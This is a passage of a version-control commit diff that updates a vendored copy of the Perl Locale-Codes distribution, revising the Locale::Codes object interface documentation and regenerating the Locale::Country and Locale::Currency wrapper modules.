+   $obj = new Locale::Codes 'country',LOCALE_COUNTRY_ALPHA_3;
 
-Because this module was originally distributed as L<Locale::Country>, it is
-also available under that name.
+This creates a new object that can access the data.  If no type is specified
+(in the first argument), you must use the B<type> method described below.
+No operations will work unless the type is specified.
 
-=item L<Locale::Codes::Language>, L<Locale::Language>
+The second argument is the default code set to use.  This is optional, as
+each type has a default code set.  The default code set can be set using
+the B<codeset> method below.
 
-This includes support for language codes (such as those listed in ISO-639)
-to specify the language.
+The last example is only available if the constants were imported when
+the module was loaded.
 
-Because this module was originally distributed as L<Locale::Language>, it is
-also available under that name.
+=item B<show_errors ( FLAG )>
 
-=item L<Locale::Codes::Currency>, L<Locale::Currency>
+   $obj->show_errors(1);
+   $obj->show_errors(0);
 
-This includes support for currency codes (such as those listed in ISO-4217)
-to specify the currency.
+By default, error messages will be produced when bad data is passed
+to any method.  By passing in '0', these will be turned off so that
+all failures will be silent.
 
-Because this module was originally distributed as L<Locale::Currency>, it is
-also available under that name.
+=item B<type ( TYPE )>
 
-=item L<Locale::Codes::Script>, L<Locale::Script>
+   $obj->type($type)
 
-This includes support for script codes (such as those listed in ISO-15924)
-to specify the script.
+This will set the type of codes that will be worked with.  C<$type> may
+be any of the recognized types of code sets, including:
 
-Because this module was originally distributed as L<Locale::Script>, it is
-also available under that name.
+   country
+   language
+   currency
+   script
+   etc.
 
-=item L<Locale::Codes::LangExt>
+The list of valid types, and the code sets supported in each, are described
+in the L<Locale::Codes::Types> document.
 
-This includes support for language extension codes (such as those listed
-in the IANA language registry) to specify the language extension.
+This method can be called any number of times to toggle between different types
+of code sets.
 
-=item L<Locale::Codes::LangVar>
+=item B<codeset ( CODESET )>
 
-This includes support for language variation codes (such as those listed
-in the IANA language registry) to specify the language variation.
+   $obj->codeset($codeset);
 
-=item L<Locale::Codes::LangFam>
+This sets the default code set to use.  The list of code sets available
+for each type are described in the L<Locale::Codes::Types> document.
 
-This includes support for language family codes (such as those listed
-in ISO 639-5) to specify families of languages.
+In all other methods below, when an optional B<CODESET> argument is
+omitted, it will default to this value.
 
-=back
+=item B<code2name ( CODE [,CODESET] [,'retired'] )>
 
-Each module can support an arbitrary number of code sets, and it is
-not required that the relationship between these code sets be
-one-to-one.  For example, the L<Locale::Codes::Country> module
-supports code sets from ISO-3166 and the IANA standard, and those two
-standards do not break the world down into exactly the same sets of
-countries. This does not cause any problem (though converting codes
-from ISO-3166 to IANA or back will not work except for countries that
-are one-to-one).
+   $name = $obj->code2name($code [,$codeset] [,'retired']);
 
-All data in all of these modules comes directly from the original
-standards (or as close to direct as possible), so it should be
-up-to-date at the time of release.
+This functions take a code and returns a string which contains
+the name of the element identified.  If the code is not a valid
+code in the B<CODESET> specified then C<undef> will be returned.
 
-I plan on releasing a new version several times a year to incorporate
-any changes made in the standards. However, I don't always know about
-changes that occur, so if any of the standards change, and you want a
-new release sooner, just email me and I'll get one out.
+The name of the element is the name as specified in the standard,
+and as a result, different variations of an element name may
+be returned for different values of B<CODESET>.
 
-In addition to the modules above, there are a number of support modules included
-in the distribution including:
+For example, the alpha-2 country code set defines the two-letter
+code "bo" to be "Bolivia, Plurinational State of", whereas the
+alpha-3 code set defines the code 'bol' to be the country "Bolivia
+(Plurinational State of)". So:
 
+   $obj->code2name('bo','alpha-2');
+      => 'Bolivia, Plurinational State of'
+
+   $obj->code2name('bol','alpha-3');
+      => 'Bolivia (Plurinational State of)'
+
+By default, only active codes will be used, but if the string
+'retired' is passed in as an argument, both active and retired
+codes will be examined.
+
+=item B<name2code ( NAME [,CODESET] [,'retired'] )>
+
+   $code = $obj->name2code($name [,$codeset] [,'retired']);
+
+This function takes the name of an element (or any of it's aliases)
+and returns the code that corresponds to it, if it exists. If B<NAME>
+could not be identified as the name of one of the elements, then
+C<undef> will be returned.
+
+The name is not case sensitive. Also, any known variation of a name
+may be passed in.
+
+For example, even though the country name returned using 'alpha-2'
+and 'alpha-3' country codes for Bolivia are different, either country
+name may be passed in since for each code set (in addition to the more
+common alias 'Bolivia'). So:
+
+   $obj->name2code('Bolivia, Plurinational State of','alpha-2');
+      => bo
+
+   $obj->name2code('Bolivia (Plurinational State of)','alpha-2');
+      => bo
+
+   $obj->name2code('Bolivia','alpha-2');
+      => bo
+
+By default, only active names will be used, but if the string
+'retired' is passed in as an argument, both active and retired
+names will be examined.
+
+=item B<code2code ( CODE [,CODESET] ,CODESET2 )>
+
+   $code = $obj->code2code($code [,$codeset] ,$codeset2);
+
+This function takes a code from one code set (B<CODESET> or the
+default code set), and returns the corresponding code from another
+code set (B<CODESET2>). B<CODE> must exists in the code set specified
+by B<CODESET> and must have a corresponding code in the
+code set specified by B<CODESET2> or C<undef> will be returned.
+
+   $obj->code2code('fin','alpha-3','alpha-2');
+      => 'fi'
+
+Note that this function does NOT support retired codes.
+
+=item B<all_codes ( [CODESET] [,'retired'] )>
+
+   @code = $obj->all_codes([$codeset] [,'retired']);
+
+This returns a list of all code in the code set. The codes will be
+sorted.
+
+By default, only active codes will be returned, but if the string
+'retired' is passed in as an argument, both active and retired
+codes will be returned.
+
+=item B<all_names ( [CODESET] [,'retired'] )>
+
+   @name = $obj->all_names([$codeset] [,'retired']);
+
+This method returns a list of all elements names for which there is a
+corresponding code in the specified code set.
+
+The names returned are exactly as they are specified in the standard,
+and are sorted.
+
+Since not all elements are listed in all code sets, the list of
+elements may differ depending on the code set specified.
+
+By default, only active names will be returned, but if the string
+'retired' is passed in as an argument, both active and retired
+names will be returned.
+
+=back
+
+The following additional methods are available and can be used to
+modify the code list data (and are therefore not generally useful).
+
 =over 4
 
-=item B<Locale::Codes>
+=item B<rename_code  ( CODE ,NEW_NAME [,CODESET] )>
 
-=item B<Locale::Codes::Constants>
+   $flag = $obj->rename_code($code,$new_name [,$codeset]);
 
-=item B<Locale::Codes::Country_codes>
+This method can be used to change the official name of an element. At
+that point, the name returned by the C<code2name> method would be
+B<NEW_NAME> instead of the name specified in the standard.
 
-=item B<Locale::Codes::Language_codes>
+The original name will remain as an alias.
 
-=item B<Locale::Codes::Currency_codes>
+For example, the official country name for code 'gb' is 'United
+Kingdom'.  If you want to change that, you might call:
 
-=item B<Locale::Codes::Script_codes>
+   $obj->rename_code('gb', 'Great Britain');
 
-=item B<Locale::Codes::LangExt_codes>
+This means that calling code2name('gb') will now return 'Great
+Britain' instead of 'United Kingdom'.
 
-=item B<Locale::Codes::LangVar_codes>
+If any error occurs, a warning is issued and 0 is returned. An error
+occurs if B<CODE> doesn't exist in the specified code set, or if
+B<NEW_NAME> is already in use but for a different element.
 
-=item B<Locale::Codes::LangFam_codes>
+If the method succeeds, 1 is returned.
 
+=item B<add_code  ( CODE ,NAME [,CODESET] )>
+
+   $flag = $obj->add_code($code,$name [,$codeset]);
+
+This method is used to add a new code and name to the data.
+
+Both B<CODE> and B<NAME> must be unused in the data set or an error
+occurs (though B<NAME> may be used in a different data set).
+
+For example, to create the fictitious country named "Duchy of
+Grand Fenwick" with codes "gf" and "fen", use the following:
+
+   $obj->add_code("fe","Duchy of Grand Fenwick",'alpha-2');
+   $obj->add_code("fen","Duchy of Grand Fenwick",'alpha-3');
+
+The return value is 1 on success, 0 on an error.
+
+=item B<delete_code  ( CODE [,CODESET] )>
+
+   $flag = $obj->delete_code($code [,$codeset]);
+
+This method is used to delete a code from the data.
+
+B<CODE> must refer to an existing code in the code set.
+
+The return value is 1 on success, 0 on an error.
+
+=item B<add_alias  ( NAME ,NEW_NAME )>
+
+   $flag = $obj->add_alias($name,$new_name);
+
+This method is used to add a new alias to the data. They do
+not alter the return value of the C<code2name> function.
+
+B<NAME> must be an existing element name, and B<NEW_NAME> must
+be unused or an error occurs.
+
+The return value is 1 on success, 0 on an error.
+
+=item B<delete_alias  ( NAME )>
+
+   $flag = $obj->delete_alias($name);
+
+This method is used to delete an alias from the data. Once
+removed, the element may not be referred to by B<NAME>.
+
+B<NAME> must be one of a list of at least two names that may be used to
+specify an element. If the element may only be referred to by a single
+name, you'll need to use the C<add_alias> method to add a new alias
+first, or the C<remove_code> method to remove the element entirely.
+
+If the alias is used as the name in any code set, one of the other
+names will be used instead. Predicting exactly which one will
+be used requires you to know the order in which the standards
+were read, which is not reliable, so you may want to use the
+C<rename_code> method to force one of the alternate names to be
+used.
+
+The return value is 1 on success, 0 on an error.
+
+=item B<replace_code  ( CODE ,NEW_CODE [,CODESET] )>
+
+   $flag = $obj->replace_code($code,$new_code [,$codeset]);
+
+This method is used to change the official code for an element. At
+that point, the code returned by the C<name2code> method would be
+B<NEW_CODE> instead of the code specified in the standard.
+
+B<NEW_CODE> may either be a code that is not in use, or it may be an
+alias for B<CODE> (in which case, B<CODE> becomes and alias and B<NEW_CODE>
+becomes the "real" code).
+
+The original code is kept as an alias, so that the C<code2name> routines
+will work with either the code from the standard or the new code.
+
+However, the C<all_codes> method will only return the codes which
+are considered "real" (which means that the list of codes will now
+contain B<NEW_CODE>, but will not contain B<CODE>).
+
+=item B<add_code_alias  ( CODE ,NEW_CODE [,CODESET] )>
+
+   $flag = $obj->add_code_alias($code,$new_code [,$codeset]);
+
+This method adds an alias for the code. At that point, B<NEW_CODE> and B<CODE>
+will both work in the C<code2name> method. However, the C<name2code> method will
+still return the original code.
+
+=item B<delete_code_alias  ( CODE [,CODESET] )>
+
+These routines delete an alias for the code.
+
+These will only work if B<CODE> is actually an alias. If it is the "real"
+code, it will not be deleted. You will need to use the C<rename_code>
+method to switch the real code with one of the aliases, and then
+delete the alias.
+
 =back
 
-These modules are not intended to be used by programmers. They contain functions
-or data that are used by the modules listed above.  No support of any kind is
-offered for using these modules directly.  They may be modified at any time.
+=head1 TRADITIONAL INTERFACES
 
-=head1 NEW CODE SETS
+In addition the the primary OO module, the following modules are included in
+the distribution for the traditional way of working with code sets.
 
-I'm always open to suggestions for new code sets.
+Each module will work with one specific type of code sets.
 
-In order for me to add a code set, I want the following criteria
-to be met:
-
 =over 4
 
-=item B<General-use code set>
+=item L<Locale::Codes::Country>, L<Locale::Country>
 
-If a code set is not general use, I'm not likely to spend the time
-to add and support it.
+This includes support for country codes (such as those listed in ISO-3166)
+to specify the country.
 
-=item B<An official source of data>
+Because this module was originally distributed as L<Locale::Country>, it is
+also available under that name.
 
-I require an official (or at least, a NEARLY official) source where I
-can get the data on a regular basis.
+=item L<Locale::Codes::Language>, L<Locale::Language>
 
-Ideally, I'd only get data from an official source, but sometimes that
-is not possible. For example the ISO standards are not typically
-available for free, so I may have to get some of that data from
-alternate sources that I'm confident are getting their data from the
-official source.  However, I will always be hesitant to accept a
-non-official source.
+This includes support for language codes (such as those listed in ISO-639)
+to specify the language.
 
-As an example, I used to get some country data from the CIA World
-Factbook. Given the nature of the source, I'm sure they're updating
-data from the official sources and I consider it "nearly" official.
-However, even in this case, I found that they were adding codes that
-were not part of the standard, so I have stopped using them as a
-source.
+Because this module was originally distributed as L<Locale::Language>, it is
+also available under that name.
 
-There are many 3rd party sites which maintain lists (many of which are
-actually in a more convenient form than the official sites).
-Unfortunately, I will reject most of them since I have no feel for how
-"official" they are.
+=item L<Locale::Codes::Currency>, L<Locale::Currency>
 
-=item B<A free source of the data>
+This includes support for currency codes (such as those listed in ISO-4217)
+to specify the currency.
 
-Obviously, the data must be free-of-charge. I'm not interested in
-paying for the data (and I'm not interested in the overhead of having
-someone else pay for the data for me).
+Because this module was originally distributed as L<Locale::Currency>, it is
+also available under that name.
 
-=item B<A reliable source of data>
+=item L<Locale::Codes::Script>, L<Locale::Script>
 
-The source of data must come from a source that I can reasonably expect
-to exist for the foreseeable future since I will be extremely reluctant
-to drop support for a data set once it's included.
+This includes support for script codes (such as those listed in ISO-15924)
+to specify the script.
 
-I am also reluctant to accept data sent to me by an individual.
-Although I appreciate the offer, it is simply not practical to consider
-an individual contribution as a reliable source of data. The source
-should be an official agency of some sort.
+Because this module was originally distributed as L<Locale::Script>, it is
+also available under that name.
 
+=item L<Locale::Codes::LangExt>
+
+This includes support for language extension codes (such as those listed
+in the IANA language registry) to specify the language extension.
+
+=item L<Locale::Codes::LangVar>
+
+This includes support for language variation codes (such as those listed
+in the IANA language registry) to specify the language variation.
+
+=item L<Locale::Codes::LangFam>
+
+This includes support for language family codes (such as those listed
+in ISO 639-5) to specify families of languages.
+
 =back
 
-These requirements are open to discussion. If you have a code set
-you'd like to see added, but which may not meet all of the above
-requirements, feel free to email me and we'll discuss it.  Depending
-on circumstances, I may be willing to waive some of these criteria.
+In addition to the modules above, there are a number of support modules included
+in the distribution.  Any module not listed above falls into that category.
 
+These modules are not intended to be used by programmers. They contain functions
+or data that are used by the modules listed above.  No support of any kind is
+offered for using these modules directly.  They may be modified at any time.
+
 =head1 COMMON ALIASES
 
 As of version 2.00, the modules supported common variants of names.
@@ -207,7 +464,7 @@
 longer appear in any standard (and which are not common variations of
 the name in the standards) have also been removed.
 
-=head1 DEPRECATED CODES
+=head1 RETIRED CODES
 
 Occasionally, a code is deprecated, but it may still be desirable to
 have access to it.
@@ -217,51 +474,45 @@
 available), as of version 3.20, every code which has ever been included
 in these modules can be referenced.
 
-For more information, refer to the documentation on the code2XXX, XXX2code,
-all_XXX_codes, and all_XXX_names function in the L<Locale::Codes::API>
-documentation.
+For more information, refer to the documentation on the code2name, name2code,
+all_codes, and all_names methods above.
 
 =head1 SEE ALSO
 
 =over 4
 
-=item L<Locale::Codes::API>
+=item L<Locale::Codes::Types>
 
-The list of functions available in each of the modules listed below.
-The APIs for each module are exactly identical.
+The list of all code sets available for each type.
 
-=item L<Locale::Codes::Country>
+=item L<Locale::Codes::Changes>
 
-Codes for identification of countries.
+A history of changes made to this distribution.
 
-=item L<Locale::Codes::Language>
+=back
 
-Codes for identification of languages.
+=head1 KNOWN BUGS AND LIMITATIONS
 
-=item L<Locale::Codes::Script>
+=over 4
 
-Codes for identification of scripts.
+=item B<Relationship between code sets>
 
-=item L<Locale::Codes::Currency>
+Because each code set uses a slightly different list of elements, and
+they are not necessarily one-to-one, there may be some confusion
+about the relationship between codes from different code sets.
 
-Codes for identification of currencies and funds.
+For example, ISO 3166 assigns one code to the country "United States
+Minor Outlying Islands", but the IANA codes give different codes
+to different islands (Baker Island, Howland Island, etc.).
 
-=item L<Locale::Codes::LangExt>
+This may cause some confusion... I've done the best that I could do
+to minimize it.
 
-Codes for identification of language extensions.
+=item B<Non-ASCII characters not supported>
 
-=item L<Locale::Codes::LangVar>
+Currently all names must be all ASCII. I plan on relaxing that
+limitation in the future.
 
-Codes for identification of language variations.
-
-=item L<Locale::Codes::LangFam>
-
-Codes for identification of language families.
-
-=item L<Locale::Codes::Changes>
-
-A history of changes made to this distribution.
-
 =back
 
 =head1 BUGS AND QUESTIONS
@@ -292,9 +543,9 @@
 
 =back
 
-Please do not use other means to report bugs (such as Usenet newsgroups,
-or forums for a specific OS or Linux distribution) as it is impossible
-for me to keep up with all of them.
+Please do not use other means to report bugs (such as forums for a specific
+OS or Linux distribution) as it is impossible for me to keep up with all of
+them.
 
 When filing a bug report, please include the following information:
 
@@ -305,7 +556,7 @@
 Please include the version of Locale::Codes you are using.  You can get
 this by using the script:
 
-   use Locale::Codes::Country;
+   use Locale::Codes;
    print $Locale::Codes::VERSION,"\n";
 
 =back
@@ -328,23 +579,20 @@
 
 From 2001 to 2004, maintenance was continued by Neil Bowers.  He
 modified Locale::Currency for inclusion in the distribution. He also
-added Locale::Constants and Locale::Script.
+added Locale::Script.
 
 From 2004-2009, the module was unmaintained.
 
 In 2010, maintenance was taken over by Sullivan Beck (sbeck at cpan.org)
 with Neil Bower's permission.  All problems or comments should be
-sent there.  Alternately, problems can be reported using the
-perl problem tracker at:
+sent to him using any of the methods listed above.
 
-   L<https://rt.cpan.org/Dist/Display.html?Queue=Locale-Codes>
-
 =head1 COPYRIGHT
 
    Copyright (c) 1997-2001 Canon Research Centre Europe (CRE).
    Copyright (c) 2001      Michael Hennecke (Locale::Currency)
    Copyright (c) 2001-2010 Neil Bowers
-   Copyright (c) 2010-2016 Sullivan Beck
+   Copyright (c) 2010-2018 Sullivan Beck
 
 This module is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Country.pm
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Country.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Country.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,48 +1,94 @@
 package Locale::Country;
 # Copyright (C) 2001      Canon Research Centre Europe (CRE).
 # Copyright (C) 2002-2009 Neil Bowers
-# Copyright (c) 2010-2016 Sullivan Beck
+# Copyright (c) 2010-2018 Sullivan Beck
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
+# This file was automatically generated.  Any changes to this file will
+# be lost the next time 'gen_mods' is run.
+#    Generated on: Fri Feb 23 12:55:25 EST 2018
+
 use strict;
 use warnings;
-use Exporter;
+require 5.006;
+use Exporter qw(import);
 
-our $VERSION;
-$VERSION='3.42';
+our($VERSION, at EXPORT);
+$VERSION   = '3.56';
 
-our (@ISA, at EXPORT);
+################################################################################
+use if $] >= 5.027007, 'deprecate';
+use Locale::Codes;
+use Locale::Codes::Constants;
 
-my $backend     = 'Locale::Codes::Country';
-my $backend_exp = $backend . "::EXPORT";
+ at EXPORT    = qw(
+                code2country
+                country2code
+                all_country_codes
+                all_country_names
+                country_code2code
+               );
+push(@EXPORT, at Locale::Codes::Constants::CONSTANTS_COUNTRY);
 
-eval "require $backend; $backend->import(); return 1;";
+our $obj = new Locale::Codes('country');
+$obj->show_errors(0);
 
-{
-   no strict 'refs';
-   @EXPORT = @{ $backend_exp };
+sub show_errors {
+   my($val) = @_;
+   $obj->show_errors($val);
 }
 
-unshift (@ISA, $backend);
+sub code2country {
+   return $obj->code2name(@_);
+}
 
-sub rename_country            { Locale::Codes::Country::rename_country(@_) }
-sub add_country               { Locale::Codes::Country::add_country(@_) }
-sub delete_country            { Locale::Codes::Country::delete_country(@_) }
-sub add_country_alias         { Locale::Codes::Country::add_country_alias(@_) }
-sub delete_country_alias      { Locale::Codes::Country::delete_country_alias(@_) }
-sub rename_country_code       { Locale::Codes::Country::rename_country_code(@_) }
-sub add_country_code_alias    { Locale::Codes::Country::add_country_code_alias(@_) }
-sub delete_country_code_alias { Locale::Codes::Country::delete_country_code_alias(@_) }
+sub country2code {
+   return $obj->name2code(@_);
+}
 
+sub country_code2code {
+   return $obj->code2code(@_);
+}
+
+sub all_country_codes {
+   return $obj->all_codes(@_);
+}
+
+sub all_country_names {
+   return $obj->all_names(@_);
+}
+
+sub rename_country {
+   return $obj->rename_code(@_);
+}
+
+sub add_country {
+   return $obj->add_code(@_);
+}
+
+sub delete_country {
+   return $obj->delete_code(@_);
+}
+
+sub add_country_alias {
+   return $obj->add_alias(@_);
+}
+
+sub delete_country_alias {
+   return $obj->delete_alias(@_);
+}
+
+sub rename_country_code {
+   return $obj->replace_code(@_);
+}
+
+sub add_country_code_alias {
+   return $obj->add_code_alias(@_);
+}
+
+sub delete_country_code_alias {
+   return $obj->delete_code_alias(@_);
+}
+
 1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Country.pod
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Country.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Country.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,127 +2,107 @@
 
 =head1 NAME
 
-Locale::Country - standard codes for country identification
+Locale::Country - module for dealing with country code sets
 
 =head1 SYNOPSIS
 
    use Locale::Country;
 
-   $country = code2country('jp' [,CODESET]);        # $country gets 'Japan'
-   $code    = country2code('Norway' [,CODESET]);    # $code gets 'no'
+   $name = code2country(CODE);
+   $code = country2code(NAME);
 
-   @codes   = all_country_codes( [CODESET]);
+   @codes   = all_country_codes();
    @names   = all_country_names();
 
-   # semi-private routines
-   Locale::Country::rename_country('gb' => 'Great Britain');
-
 =head1 DESCRIPTION
 
-This module provides access to several code sets
-that can be used for identifying countries, such as those defined in
-ISO 3166-1.
+This module provides access to country code sets.
 
+Please refer to the L<Locale::Codes::Types> document for a description
+of the code sets available.
+
 Most of the routines take an optional additional argument which
-specifies the code set to use. If not specified, the default ISO
-3166-1 two-letter codes will be used.
+specifies the code set to use. The code set can be specified using the
+name of a code set, or the perl constant specified in the above
+document.  If not specified, the default code set will be used.
 
-=head1 SUPPORTED CODE SETS
+=head1 ROUTINES
 
-There are several different code sets you can use for identifying
-countries. A code set may be specified using either a name, or a
-constant that is automatically exported by this module.
+All routines in this module call the appropriate method in the
+L<Locale::Codes> module, using an object of type: country
+Please refer to the documentation of the L<Locale::Codes> module
+for details about each function.
 
-For example, the two are equivalent:
+The following functions are exported automatically:
 
-   $country = code2country('jp','alpha-2');
-   $country = code2country('jp',LOCALE_CODE_ALPHA_2);
-
-The codesets currently supported are:
-
 =over 4
 
-=item B<alpha-2, LOCALE_CODE_ALPHA_2>
+=item B<code2country(CODE [,CODESET] [,'retired'])>
 
-This is the set of two-letter (lowercase) codes from ISO 3166-1, such
-as 'tv' for Tuvalu.
+See B<code2name> in L<Locale::Codes>
 
-This is the default code set.
+=item B<country2code(NAME [,CODESET] [,'retired'])>
 
-=item B<alpha-3, LOCALE_CODE_ALPHA_3>
+See B<name2code> in L<Locale::Codes>
 
-This is the set of three-letter (lowercase) codes from ISO 3166-1,
-such as 'brb' for Barbados. These codes are actually defined and
-maintained by the U.N. Statistics division.
+=item B<country_code2code(CODE ,CODESET ,CODESET2)>
 
-=item B<numeric, LOCALE_CODE_NUMERIC>
+See B<code2code> in L<Locale::Codes>
 
-This is the set of three-digit numeric codes from ISO 3166-1, such as
-064 for Bhutan. These codes are actually defined and maintained by the
-U.N. Statistics division.
+=item B<all_country_codes([CODESET] [,'retired'])>
 
-If a 2-digit code is entered, it is converted to 3 digits by prepending
-a 0.
+See B<all_codes> in L<Locale::Codes>
 
-=item B<dom, LOCALE_CODE_DOM>
+=item B<all_country_names([CODESET] [,'retired'])>
 
-The IANA is responsible for delegating management of the top level country
-domains.  The country domains are the two-letter (lowercase) codes from ISO 3166
-with a few other additions.
+See B<all_names> in L<Locale::Codes>
 
-=item B<un-alpha-3, LOCALE_CODE_UN_ALPHA_3>
-
-=item B<un-numeric, LOCALE_CODE_UN_NUMERIC>
-
-The UN maintains a list of codes that is similar, but not identical, to the
-standard ISO 3166 lists.  They maintain a 3-letter code (similar to alpha-3)
-and a numeric code (similar to numeric).
-
-=item B<genc-alpha-2, LOCALE_CODE_GENC_ALPHA_2>
-
-=item B<genc-alpha-3, LOCALE_CODE_GENC_ALPHA_3>
-
-=item B<genc-numeric, LOCALE_CODE_GENC_NUMERIC>
-
-The GENC codes are the US Government codes that replace the FIPS-11 codes.
-They are based on, but not identical to the standard ISO 3166 lists.
-
 =back
 
-NOTE: As of version 3.27, the FIPS code set is no longer supported.  See the
-Locale::Codes::Changes document for details.
+The following functions are not exported and must be called fully
+qualified with the package name:
 
-=head1 ROUTINES
-
 =over 4
 
-=item B<code2country(CODE [,CODESET] [,'retired'])>
+=item B<Locale::Country::show_errors(FLAG)>
 
-=item B<country2code(NAME [,CODESET] [,'retired'])>
+By default, invalid input will produce empty results, but no errors.  By
+passing in a non-zero value of FLAG, errors will be produced.
 
-=item B<country_code2code(CODE ,CODESET ,CODESET2)>
+See B<show_errors> in L<Locale::Codes> but note that the default for
+the non-OO modules are to NOT produce errors.
 
-=item B<all_country_codes([CODESET] [,'retired'])>
+=item B<Locale::Country::rename_country(CODE ,NEW_NAME [,CODESET])>
 
-=item B<all_country_names([CODESET] [,'retired'])>
+See B<rename_code> in L<Locale::Codes>
 
-=item B<Locale::Country::rename_country(CODE ,NEW_NAME [,CODESET])>
-
 =item B<Locale::Country::add_country(CODE ,NAME [,CODESET])>
 
+See B<add_code> in L<Locale::Codes>
+
 =item B<Locale::Country::delete_country(CODE [,CODESET])>
 
+See B<delete_code> in L<Locale::Codes>
+
 =item B<Locale::Country::add_country_alias(NAME ,NEW_NAME)>
 
+See B<add_alias> in L<Locale::Codes>
+
 =item B<Locale::Country::delete_country_alias(NAME)>
 
+See B<delete_alias> in L<Locale::Codes>
+
 =item B<Locale::Country::rename_country_code(CODE ,NEW_CODE [,CODESET])>
 
+See B<replace_code> in L<Locale::Codes>
+
 =item B<Locale::Country::add_country_code_alias(CODE ,NEW_CODE [,CODESET])>
 
+See B<add_code_alias> in L<Locale::Codes>
+
 =item B<Locale::Country::delete_country_code_alias(CODE [,CODESET])>
 
-These routines are all documented in the L<Locale::Codes::API> man page.
+See B<delete_code_alias> in L<Locale::Codes>
 
 =back
 
@@ -134,54 +114,6 @@
 
 The Locale-Codes distribution.
 
-=item L<Locale::Codes::API>
-
-The list of functions supported by this module.
-
-=item L<Locale::SubCountry>
-
-ISO codes for country sub-divisions (states, counties, provinces,
-etc), as defined in ISO 3166-2.  This module is not part of the
-Locale-Codes distribution, but is available from CPAN in
-CPAN/modules/by-module/Locale/
-
-=item L<http://www.iso.org/iso/home/standards/country_codes.htm>
-
-Official home page for the ISO 3166 maintenance agency.
-
-=item L<http://www.iso.org/iso/home/standards/country_codes/iso-3166-1_decoding_table.htm>
-
-The source of ISO 3166-1 two-letter codes used by this
-module.
-
-=item L<http://www.iana.org/domains/root/db/>
-
-Official source of the top-level domain names.
-
-=item L<http://unstats.un.org/unsd/methods/m49/m49alpha.htm>
-
-The source of the UN codes.
-
-Previously, this table was treated as a source of the ISO 3166 data,
-but I found that the table was incomplete, so I stopped using it.
-Later, it was added back in as it's own list of codes.
-
-=item L<https://nsgreg.nga.mil/genc/discovery>
-
-The source of the GENC codes.
-
-=item L<https://www.cia.gov/library/publications/the-world-factbook/appendix/print_appendix-d.html>
-
-The World Factbook maintained by the CIA is a potential source of
-the data.  Unfortunately, it adds/preserves non-standard codes, so it is no
-longer used as a source of data.
-
-=item L<http://www.statoids.com/wab.html>
-
-Another unofficial source of data. Currently, it is not used to get
-data, but the notes and explanatory material were very useful for
-understanding discrepancies between the sources.
-
 =back
 
 =head1 AUTHOR
@@ -192,9 +124,7 @@
 
 =head1 COPYRIGHT
 
-   Copyright (c) 1997-2001 Canon Research Centre Europe (CRE).
-   Copyright (c) 2001-2010 Neil Bowers
-   Copyright (c) 2010-2016 Sullivan Beck
+   Copyright (c) 2011-2018 Sullivan Beck
 
 This module is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Currency.pm
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Currency.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Currency.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,48 +1,94 @@
 package Locale::Currency;
 # Copyright (C) 2001      Canon Research Centre Europe (CRE).
 # Copyright (C) 2002-2009 Neil Bowers
-# Copyright (c) 2010-2016 Sullivan Beck
+# Copyright (c) 2010-2018 Sullivan Beck
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
+# This file was automatically generated.  Any changes to this file will
+# be lost the next time 'gen_mods' is run.
+#    Generated on: Fri Feb 23 12:55:25 EST 2018
+
 use strict;
 use warnings;
-use Exporter;
+require 5.006;
+use Exporter qw(import);
 
-our $VERSION;
-$VERSION='3.42';
+our($VERSION, at EXPORT);
+$VERSION   = '3.56';
 
-our (@ISA, at EXPORT);
+################################################################################
+use if $] >= 5.027007, 'deprecate';
+use Locale::Codes;
+use Locale::Codes::Constants;
 
-my $backend     = 'Locale::Codes::Currency';
-my $backend_exp = $backend . "::EXPORT";
+ at EXPORT    = qw(
+                code2currency
+                currency2code
+                all_currency_codes
+                all_currency_names
+                currency_code2code
+               );
+push(@EXPORT, at Locale::Codes::Constants::CONSTANTS_CURRENCY);
 
-eval "require $backend; $backend->import(); return 1;";
+our $obj = new Locale::Codes('currency');
+$obj->show_errors(0);
 
-{
-   no strict 'refs';
-   @EXPORT = @{ $backend_exp };
+sub show_errors {
+   my($val) = @_;
+   $obj->show_errors($val);
 }
 
-unshift (@ISA, $backend);
+sub code2currency {
+   return $obj->code2name(@_);
+}
 
-sub rename_currency            { Locale::Codes::Currency::rename_currency(@_) }
-sub add_currency               { Locale::Codes::Currency::add_currency(@_) }
-sub delete_currency            { Locale::Codes::Currency::delete_currency(@_) }
-sub add_currency_alias         { Locale::Codes::Currency::add_currency_alias(@_) }
-sub delete_currency_alias      { Locale::Codes::Currency::delete_currency_alias(@_) }
-sub rename_currency_code       { Locale::Codes::Currency::rename_currency_code(@_) }
-sub add_currency_code_alias    { Locale::Codes::Currency::add_currency_code_alias(@_) }
-sub delete_currency_code_alias { Locale::Codes::Currency::delete_currency_code_alias(@_) }
+sub currency2code {
+   return $obj->name2code(@_);
+}
 
+sub currency_code2code {
+   return $obj->code2code(@_);
+}
+
+sub all_currency_codes {
+   return $obj->all_codes(@_);
+}
+
+sub all_currency_names {
+   return $obj->all_names(@_);
+}
+
+sub rename_currency {
+   return $obj->rename_code(@_);
+}
+
+sub add_currency {
+   return $obj->add_code(@_);
+}
+
+sub delete_currency {
+   return $obj->delete_code(@_);
+}
+
+sub add_currency_alias {
+   return $obj->add_alias(@_);
+}
+
+sub delete_currency_alias {
+   return $obj->delete_alias(@_);
+}
+
